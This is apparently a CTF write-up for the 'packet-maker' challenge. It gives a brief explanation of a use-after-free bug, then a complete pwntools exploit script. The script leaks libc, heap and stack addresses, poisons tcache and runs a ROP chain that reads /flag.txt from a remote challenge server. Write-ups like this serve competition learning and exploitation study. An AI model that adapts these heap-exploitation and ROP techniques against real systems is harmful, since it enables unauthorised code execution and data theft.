5th place

packet-maker (3 solves)

UAF in the unlink process of link list.

It’s the unintended solution. Intended solution is exploiting the off-by-null vulnerability.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#!/usr/bin/python2
from pwn import *

# io = process('./packet-maker')
io = remote('1337.sb', 40004)
context.bits = 64
libc = ELF('libc.so.6')

rc = lambda n : io.recv(n)
ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
libc_os = lambda x : libc_base + x
heap_os = lambda x : heap_base + x
libc_sym = lambda x : libc_os(libc.sym[x])

def menu(choice):
sla('> ', str(choice))

def add_protocol(content):
menu(1)
sa('> ', content)

def add(size, idx, content):
menu(2)
sla('> ', str(size))
sla('> ', str(idx))
sa('> ', content)

def delete(idx):
menu(3)
sla('> ', str(idx))

add_protocol('\x00' * 0xe)
add(0x10, 4, 'a')
ru('checksum : ')
leak = int(rc(10), 16) - 1
sleep(0.1)
leak = 0xffffffffffffffff - leak
leak &= 0xffffffff
leak -= 0x10
high = (leak & 0xffff) - 0x613a + 0x7f0000
low = (leak - high) >> 8
libc_base = (high << 24 | low) - (0x7f8f943fc761 - 0x7f8f941e2000) - (0x7ecfb685a100 - 0x7fcfb6859000)
if not hex(libc_base)[2:].startswith('7f'):
exit()
read_addr = libc_sym('read')
write_addr = libc_sym('write')
pop_rdi = libc_os(0x000000000002a3e5)
pop_rsi = libc_os(0x000000000002be51)
pop_rdx_r12 = libc_os(0x000000000011f2e7)
pop_rax = libc_os(0x0000000000045eb0)
syscall = libc_os(0x0000000000091316)

add(0, 4, '')
ru('checksum : ')
leak = int(rc(10), 16) - 1
sleep(0.1)
leak = 0xffffffffffffffff - leak
leak &= 0xffffffff
high = (leak & 0xfff) - 0x320 + 0x5000
low = leak - high
heap_base = (high << 32 | low) - 0x320

delete(0)
delete(0)
add(0x49, 4, '\x01' * 0x40)
ru('checksum : ')
sleep(0.1)
leak = int(rc(10), 16) - 1
leak = 0xffffffffffffffff - leak
leak &= 0xffffffff
leak += 1
high = ((leak - 0x94) & 0xff) + 0x7fff00
low = (leak - high - 0x0000000010101093) >> 8
stack_addr = (high << 24) + low
if hex(stack_addr)[-1:] != '0':
exit()
rbp_addr = stack_addr - 0x40
add(0x40, 4, 'a')
add(0x40, 4, 'a')

for _ in range(6):
add(0x20, 4, '\x00')
add(0x68, 4, 'a')
add(0x68, 4, 'a')
for _ in range(7):
delete(0)
delete(1)
delete(1)
for _ in range(7):
add(0x20, 4, '\x00')
add_protocol('a')
add(0x68, 4, 'a' * 0x47 + flat(0x91, 0x20, 0, 0))
delete(0)
delete(0)
delete(0)
key = heap_base >> 12
add(0x68, 4, 'a' * 0x4f + flat((heap_os(0x10))^key))
gets_addr = libc_sym('gets')
add(0x68, 4, 'a')
rop_addr = heap_os(0x558ccfd90858 - 0x558ccfd90000)
add(0x68, 4, 'a' * 0x5f + flat(rbp_addr))
add_protocol('a' * 8 + flat(gets_addr))
flag_addr = stack_addr - 0x3f
rop_chain = flat([
'/flag.txt\x00\x00\x00\x00\x00\x00',
pop_rax,
2,
pop_rdi,
flag_addr,
pop_rsi,
0,
syscall,
pop_rdi,
3,
pop_rsi,
heap_base,
pop_rdx_r12,
0x50,
0,
read_addr,
pop_rdi,
1,
pop_rsi,
heap_base,
pop_rdx_r12,
0x50,
0,
write_addr
])
sl(rop_chain)

ia()